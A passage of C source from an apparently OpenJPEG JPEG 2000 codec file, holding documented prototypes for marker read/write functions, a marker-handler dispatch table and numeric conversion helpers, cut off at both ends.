p_comp_no the index of the component to output. * @param p_data FIXME DOC * @param p_data_written FIXME DOC * @param p_manager the user event manager. */ static void opj_j2k_write_coc_in_memory(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, opj_event_mgr_t * p_manager); /** * Gets the maximum size taken by a coc. * * @param p_j2k the jpeg2000 codec to use. */ static OPJ_UINT32 opj_j2k_get_max_coc_size(opj_j2k_t *p_j2k); /** * Reads a COC marker (Coding Style Component) * @param p_header_data the data contained in the COC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the COC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_coc(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the QCD marker (quantization default) * * @param p_j2k J2K codec. * @param p_stream the stream to write data to. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_qcd(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a QCD marker (Quantization defaults) * @param p_header_data the data contained in the QCD box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the QCD marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_qcd(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Compare QCC markers (quantization component) * * @param p_j2k J2K codec. * @param p_first_comp_no the index of the first component to compare. * @param p_second_comp_no the index of the second component to compare. * * @return OPJ_TRUE if equals. */ static OPJ_BOOL opj_j2k_compare_qcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_first_comp_no, OPJ_UINT32 p_second_comp_no); /** * Writes the QCC marker (quantization component) * * @param p_comp_no the index of the component to output. * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_qcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes the QCC marker (quantization component) * * @param p_j2k J2K codec. * @param p_comp_no the index of the component to output. * @param p_data FIXME DOC * @param p_data_written the stream to write data to. * @param p_manager the user event manager. */ static void opj_j2k_write_qcc_in_memory(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, opj_event_mgr_t * p_manager); /** * Gets the maximum size taken by a qcc. */ static OPJ_UINT32 opj_j2k_get_max_qcc_size(opj_j2k_t *p_j2k); /** * Reads a QCC marker (Quantization component) * @param p_header_data the data contained in the QCC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the QCC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_qcc(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the POC marker (Progression Order Change) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_poc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes the POC marker (Progression Order Change) * * @param p_j2k J2K codec. * @param p_data FIXME DOC * @param p_data_written the stream to write data to. * @param p_manager the user event manager. */ static void opj_j2k_write_poc_in_memory(opj_j2k_t *p_j2k, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, opj_event_mgr_t * p_manager); /** * Gets the maximum size taken by the writing of a POC. */ static OPJ_UINT32 opj_j2k_get_max_poc_size(opj_j2k_t *p_j2k); /** * Reads a POC marker (Progression Order Change) * * @param p_header_data the data contained in the POC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the POC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_poc(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Gets the maximum size taken by the toc headers of all the tile parts of any given tile. */ static OPJ_UINT32 opj_j2k_get_max_toc_size(opj_j2k_t *p_j2k); /** * Gets the maximum size taken by the headers of the SOT. * * @param p_j2k the jpeg2000 codec to use. */ static OPJ_UINT32 opj_j2k_get_specific_header_sizes(opj_j2k_t *p_j2k); /** * Reads a CRG marker (Component registration) * * @param p_header_data the data contained in the TLM box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the TLM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_crg(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Reads a TLM marker (Tile Length Marker) * * @param p_header_data the data contained in the TLM box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the TLM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_tlm(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the updated tlm. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_updated_tlm(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a PLM marker (Packet length, main header marker) * * @param p_header_data the data contained in the TLM box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the TLM marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_plm(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Reads a PLT marker (Packet length, tile-part header) * * @param p_header_data the data contained in the PLT box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the PLT marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_plt(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Reads a PPM marker (Packed headers, main header) * * @param p_header_data the data contained in the POC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the POC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_ppm( opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Merges all PPM markers read (Packed headers, main header) * * @param p_cp main coding parameters. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_merge_ppm(opj_cp_t *p_cp, opj_event_mgr_t * p_manager); /** * Reads a PPT marker (Packed packet headers, tile-part header) * * @param p_header_data the data contained in the PPT box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the PPT marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_ppt(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Merges all PPT markers read (Packed headers, tile-part header) * * @param p_tcp the tile. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_merge_ppt(opj_tcp_t *p_tcp, opj_event_mgr_t * p_manager); /** * Writes the TLM marker (Tile Length Marker) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_tlm(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes the SOT marker (Start of tile-part) * * @param p_j2k J2K codec. * @param p_data Output buffer * @param p_total_data_size Output buffer size * @param p_data_written Number of bytes written into stream * @param p_stream the stream to write data to. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_sot(opj_j2k_t *p_j2k, OPJ_BYTE * p_data, OPJ_UINT32 p_total_data_size, OPJ_UINT32 * p_data_written, const opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads values from a SOT marker (Start of tile-part) * * the j2k decoder state is not affected. No side effects, no checks except for p_header_size. * * @param p_header_data the data contained in the SOT marker. * @param p_header_size the size of the data contained in the SOT marker. * @param p_tile_no Isot. * @param p_tot_len Psot. * @param p_current_part TPsot. * @param p_num_parts TNsot. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_get_sot_values(OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, OPJ_UINT32* p_tile_no, OPJ_UINT32* p_tot_len, OPJ_UINT32* p_current_part, OPJ_UINT32* p_num_parts, opj_event_mgr_t * p_manager); /** * Reads a SOT marker (Start of tile-part) * * @param p_header_data the data contained in the SOT marker. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the PPT marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_sot(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the SOD marker (Start of data) * * @param p_j2k J2K codec. * @param p_tile_coder FIXME DOC * @param p_data FIXME DOC * @param p_data_written FIXME DOC * @param p_total_data_size FIXME DOC * @param p_stream the stream to write data to. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_sod(opj_j2k_t *p_j2k, opj_tcd_t * p_tile_coder, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, OPJ_UINT32 p_total_data_size, const opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a SOD marker (Start Of Data) * * @param p_j2k the jpeg2000 codec. * @param p_stream FIXME DOC * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_sod(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); static void opj_j2k_update_tlm(opj_j2k_t * p_j2k, OPJ_UINT32 p_tile_part_size) { opj_write_bytes(p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_current, p_j2k->m_current_tile_number, 1); /* PSOT */ ++p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_current; opj_write_bytes(p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_current, p_tile_part_size, 4); /* PSOT */ p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_current += 4; } /** * Writes the RGN marker (Region Of Interest) * * @param p_tile_no the tile to output * @param p_comp_no the component to output * @param nb_comps the number of components * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_rgn(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no, OPJ_UINT32 nb_comps, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a RGN marker (Region Of Interest) * * @param p_header_data the data contained in the POC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the POC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_rgn(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the EOC marker (End of Codestream) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_eoc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); #if 0 /** * Reads a EOC marker (End Of Codestream) * * @param p_j2k the jpeg2000 codec. * @param p_stream FIXME DOC * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_eoc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); #endif /** * Writes the CBD-MCT-MCC-MCO markers (Multi components transform) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_mct_data_group(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Inits the Info * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_init_info(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** Add main header marker information @param cstr_index Codestream information structure @param type marker type @param pos byte offset of marker segment @param len length of marker segment */ static OPJ_BOOL opj_j2k_add_mhmarker(opj_codestream_index_t *cstr_index, OPJ_UINT32 type, OPJ_OFF_T pos, OPJ_UINT32 len) ; /** Add tile header marker information @param tileno tile index number @param cstr_index Codestream information structure @param type marker type @param pos byte offset of marker segment @param len length of marker segment */ static OPJ_BOOL opj_j2k_add_tlmarker(OPJ_UINT32 tileno, opj_codestream_index_t *cstr_index, OPJ_UINT32 type, OPJ_OFF_T pos, OPJ_UINT32 len); /** * Reads an unknown marker * * @param p_j2k the jpeg2000 codec. * @param p_stream the stream object to read from. * @param output_marker FIXME DOC * @param p_manager the user event manager. * * @return true if the marker could be deduced. */ static OPJ_BOOL opj_j2k_read_unk(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, OPJ_UINT32 *output_marker, opj_event_mgr_t * p_manager); /** * Writes the MCT marker (Multiple Component Transform) * * @param p_j2k J2K codec. * @param p_mct_record FIXME DOC * @param p_stream the stream to write data to. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_mct_record(opj_j2k_t *p_j2k, opj_mct_data_t * p_mct_record, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a MCT marker (Multiple Component Transform) * * @param p_header_data the data contained in the MCT box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the MCT marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_mct(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the MCC marker (Multiple Component Collection) * * @param p_j2k J2K codec. * @param p_mcc_record FIXME DOC * @param p_stream the stream to write data to. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_mcc_record(opj_j2k_t *p_j2k, opj_simple_mcc_decorrelation_data_t * p_mcc_record, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a MCC marker (Multiple Component Collection) * * @param p_header_data the data contained in the MCC box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the MCC marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_mcc(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes the MCO marker (Multiple component transformation ordering) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_mco(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a MCO marker (Multiple Component Transform Ordering) * * @param p_header_data the data contained in the MCO box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the MCO marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_mco(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); static OPJ_BOOL opj_j2k_add_mct(opj_tcp_t * p_tcp, opj_image_t * p_image, OPJ_UINT32 p_index); static void opj_j2k_read_int16_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_read_int32_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_read_float32_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_read_float64_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_read_int16_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_read_int32_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_read_float32_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_read_float64_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_write_float_to_int16(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_write_float_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_write_float_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static void opj_j2k_write_float_to_float64(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); /** * Ends the encoding, i.e. frees memory. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_end_encoding(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes the CBD marker (Component bit depth definition) * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_cbd(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Reads a CBD marker (Component bit depth definition) * @param p_header_data the data contained in the CBD box. * @param p_j2k the jpeg2000 codec. * @param p_header_size the size of the data contained in the CBD marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_cbd(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); /** * Writes COC marker for each component. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_all_coc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes QCC marker for each component. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_all_qcc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes regions of interests. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_regions(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Writes EPC ???? * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_write_epc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager); /** * Checks the progression order changes values. Tells of the poc given as input are valid. * A nice message is outputted at errors. * * @param p_pocs the progression order changes. * @param p_nb_pocs the number of progression order changes. * @param p_nb_resolutions the number of resolutions. * @param numcomps the number of components * @param numlayers the number of layers. * @param p_manager the user event manager. * * @return true if the pocs are valid. */ static OPJ_BOOL opj_j2k_check_poc_val(const opj_poc_t *p_pocs, OPJ_UINT32 p_nb_pocs, OPJ_UINT32 p_nb_resolutions, OPJ_UINT32 numcomps, OPJ_UINT32 numlayers, opj_event_mgr_t * p_manager); /** * Gets the number of tile parts used for the given change of progression (if any) and the given tile. * * @param cp the coding parameters. * @param pino the offset of the given poc (i.e. its position in the coding parameter). * @param tileno the given tile. * * @return the number of tile parts. */ static OPJ_UINT32 opj_j2k_get_num_tp(opj_cp_t *cp, OPJ_UINT32 pino, OPJ_UINT32 tileno); /** * Calculates the total number of tile parts needed by the encoder to * encode such an image. If not enough memory is available, then the function return false. * * @param p_nb_tiles pointer that will hold the number of tile parts. * @param cp the coding parameters for the image. * @param image the image to encode. * @param p_j2k the p_j2k encoder. * @param p_manager the user event manager. * * @return true if the function was successful, false else. */ static OPJ_BOOL opj_j2k_calculate_tp(opj_j2k_t *p_j2k, opj_cp_t *cp, OPJ_UINT32 * p_nb_tiles, opj_image_t *image, opj_event_mgr_t * p_manager); static void opj_j2k_dump_MH_info(opj_j2k_t* p_j2k, FILE* out_stream); static void opj_j2k_dump_MH_index(opj_j2k_t* p_j2k, FILE* out_stream); static opj_codestream_index_t* opj_j2k_create_cstr_index(void); static OPJ_FLOAT32 opj_j2k_get_tp_stride(opj_tcp_t * p_tcp); static OPJ_FLOAT32 opj_j2k_get_default_stride(opj_tcp_t * p_tcp); static int opj_j2k_initialise_4K_poc(opj_poc_t *POC, int numres); static void opj_j2k_set_cinema_parameters(opj_cparameters_t *parameters, opj_image_t *image, opj_event_mgr_t *p_manager); static OPJ_BOOL opj_j2k_is_cinema_compliant(opj_image_t *image, OPJ_UINT16 rsiz, opj_event_mgr_t *p_manager); /** * Checks for invalid number of tile-parts in SOT marker (TPsot==TNsot). See issue 254. * * @param p_stream the stream to read data from. * @param tile_no tile number we're looking for. * @param p_correction_needed output value. if true, non conformant codestream needs TNsot correction. * @param p_manager the user event manager. * * @return true if the function was successful, false else. */ static OPJ_BOOL opj_j2k_need_nb_tile_parts_correction(opj_stream_private_t *p_stream, OPJ_UINT32 tile_no, OPJ_BOOL* p_correction_needed, opj_event_mgr_t * p_manager); /*@}*/ /*@}*/ /* ----------------------------------------------------------------------- */ typedef struct j2k_prog_order { OPJ_PROG_ORDER enum_prog; char str_prog[5]; } j2k_prog_order_t; static const j2k_prog_order_t j2k_prog_order_list[] = { {OPJ_CPRL, "CPRL"}, {OPJ_LRCP, "LRCP"}, {OPJ_PCRL, "PCRL"}, {OPJ_RLCP, "RLCP"}, {OPJ_RPCL, "RPCL"}, {(OPJ_PROG_ORDER) - 1, ""} }; /** * FIXME DOC */ static const OPJ_UINT32 MCT_ELEMENT_SIZE [] = { 2, 4, 4, 8 }; typedef void (* opj_j2k_mct_function)(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem); static const opj_j2k_mct_function j2k_mct_read_functions_to_float [] = { opj_j2k_read_int16_to_float, opj_j2k_read_int32_to_float, opj_j2k_read_float32_to_float, opj_j2k_read_float64_to_float }; static const opj_j2k_mct_function j2k_mct_read_functions_to_int32 [] = { opj_j2k_read_int16_to_int32, opj_j2k_read_int32_to_int32, opj_j2k_read_float32_to_int32, opj_j2k_read_float64_to_int32 }; static const opj_j2k_mct_function j2k_mct_write_functions_from_float [] = { opj_j2k_write_float_to_int16, opj_j2k_write_float_to_int32, opj_j2k_write_float_to_float, opj_j2k_write_float_to_float64 }; typedef struct opj_dec_memory_marker_handler { /** marker value */ OPJ_UINT32 id; /** value of the state when the marker can appear */ OPJ_UINT32 states; /** action linked to the marker */ OPJ_BOOL(*handler)(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager); } opj_dec_memory_marker_handler_t; static const opj_dec_memory_marker_handler_t j2k_memory_marker_handler_tab [] = { {J2K_MS_SOT, J2K_STATE_MH | J2K_STATE_TPHSOT, opj_j2k_read_sot}, {J2K_MS_COD, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_cod}, {J2K_MS_COC, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_coc}, {J2K_MS_RGN, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_rgn}, {J2K_MS_QCD, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_qcd}, {J2K_MS_QCC, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_qcc}, {J2K_MS_POC, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_poc}, {J2K_MS_SIZ, J2K_STATE_MHSIZ, opj_j2k_read_siz}, {J2K_MS_TLM, J2K_STATE_MH, opj_j2k_read_tlm}, {J2K_MS_PLM, J2K_STATE_MH, opj_j2k_read_plm}, {J2K_MS_PLT, J2K_STATE_TPH, opj_j2k_read_plt}, {J2K_MS_PPM, J2K_STATE_MH, opj_j2k_read_ppm}, {J2K_MS_PPT, J2K_STATE_TPH, opj_j2k_read_ppt}, {J2K_MS_SOP, 0, 0}, {J2K_MS_CRG, J2K_STATE_MH, opj_j2k_read_crg}, {J2K_MS_COM, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_com}, {J2K_MS_MCT, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_mct}, {J2K_MS_CBD, J2K_STATE_MH, opj_j2k_read_cbd}, {J2K_MS_MCC, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_mcc}, {J2K_MS_MCO, J2K_STATE_MH | J2K_STATE_TPH, opj_j2k_read_mco}, #ifdef USE_JPWL #ifdef TODO_MS /* remove these functions which are not commpatible with the v2 API */ {J2K_MS_EPC, J2K_STATE_MH | J2K_STATE_TPH, j2k_read_epc}, {J2K_MS_EPB, J2K_STATE_MH | J2K_STATE_TPH, j2k_read_epb}, {J2K_MS_ESD, J2K_STATE_MH | J2K_STATE_TPH, j2k_read_esd}, {J2K_MS_RED, J2K_STATE_MH | J2K_STATE_TPH, j2k_read_red}, #endif #endif /* USE_JPWL */ #ifdef USE_JPSEC {J2K_MS_SEC, J2K_DEC_STATE_MH, j2k_read_sec}, {J2K_MS_INSEC, 0, j2k_read_insec} #endif /* USE_JPSEC */ {J2K_MS_UNK, J2K_STATE_MH | J2K_STATE_TPH, 0}/*opj_j2k_read_unk is directly used*/ }; static void opj_j2k_read_int16_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_src_data = (OPJ_BYTE *) p_src_data; OPJ_FLOAT32 * l_dest_data = (OPJ_FLOAT32 *) p_dest_data; OPJ_UINT32 i; OPJ_UINT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { opj_read_bytes(l_src_data, &l_temp, 2); l_src_data += sizeof(OPJ_INT16); *(l_dest_data++) = (OPJ_FLOAT32) l_temp; } } static void opj_j2k_read_int32_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_src_data = (OPJ_BYTE *) p_src_data; OPJ_FLOAT32 * l_dest_data = (OPJ_FLOAT32 *) p_dest_data; OPJ_UINT32 i; OPJ_UINT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { opj_read_bytes(l_src_data, &l_temp, 4); l_src_data += sizeof(OPJ_INT32); *(l_dest_data++) = (OPJ_FLOAT32) l_temp; } } static void opj_j2k_read_float32_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_src_data = (OPJ_BYTE *) p_src_data; OPJ_FLOAT32 * l_dest_data = (OPJ_FLOAT32 *) p_dest_data; OPJ_UINT32 i; OPJ_FLOAT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { opj_read_float(l_src_data, &l_temp); l_src_data += sizeof(OPJ_FLOAT32); *(l_dest_data++) = l_temp; } } static void opj_j2k_read_float64_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_src_data = (OPJ_BYTE *) p_src_data; OPJ_FLOAT32 * l_dest_data = (OPJ_FLOAT32 *) p_dest_data; OPJ_UINT32 i; OPJ_FLOAT64 l_temp; for (i = 0; i < p_nb_elem; ++i) { opj_read_double(l_src_data, &l_temp); l_src_data += sizeof(OPJ_FLOAT64); *(l_dest_data++) = (OPJ_FLOAT32) l_temp; } } static void opj_j2k_read_int16_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_src_data = (OPJ_BYTE *) p_src_data; OPJ_INT32 * l_dest_data = (OPJ_INT32 *) p_dest_data; OPJ_UINT32 i; OPJ_UINT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { opj_read_bytes(l_src_data, &l_temp, 2); l_src_data += sizeof(OPJ_INT16); *(l_dest_data++) = (OPJ_INT32) l_temp; } } static void opj_j2k_read_int32_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_src_data = (OPJ_BYTE *) p_src_data; OPJ_INT32 * l_dest_data = (OPJ_INT32 *) p_dest_data; OPJ_UINT32 i; OPJ_UINT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { opj_read_bytes(l_src_data, &l_temp, 4); l_src_data += sizeof(OPJ_INT32); *(l_dest_data++) = (OPJ_INT32) l_temp; } } static void opj_j2k_read_float32_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_src_data = (OPJ_BYTE *) p_src_data; OPJ_INT32 * l_dest_data = (OPJ_INT32 *) p_dest_data; OPJ_UINT32 i; OPJ_FLOAT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { opj_read_float(l_src_data, &l_temp); l_src_data += sizeof(OPJ_FLOAT32); *(l_dest_data++) = (OPJ_INT32) l_temp; } } static void opj_j2k_read_float64_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_src_data = (OPJ_BYTE *) p_src_data; OPJ_INT32 * l_dest_data = (OPJ_INT32 *) p_dest_data; OPJ_UINT32 i; OPJ_FLOAT64 l_temp; for (i = 0; i < p_nb_elem; ++i) { opj_read_double(l_src_data, &l_temp); l_src_data += sizeof(OPJ_FLOAT64); *(l_dest_data++) = (OPJ_INT32) l_temp; } } static void opj_j2k_write_float_to_int16(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_dest_data = (OPJ_BYTE *) p_dest_data; OPJ_FLOAT32 * l_src_data = (OPJ_FLOAT32 *) p_src_data; OPJ_UINT32 i; OPJ_UINT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { l_temp = (OPJ_UINT32) * (l_src_data++); opj_write_bytes(l_dest_data, l_temp, sizeof(OPJ_INT16)); l_dest_data += sizeof(OPJ_INT16); } } static void opj_j2k_write_float_to_int32(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * 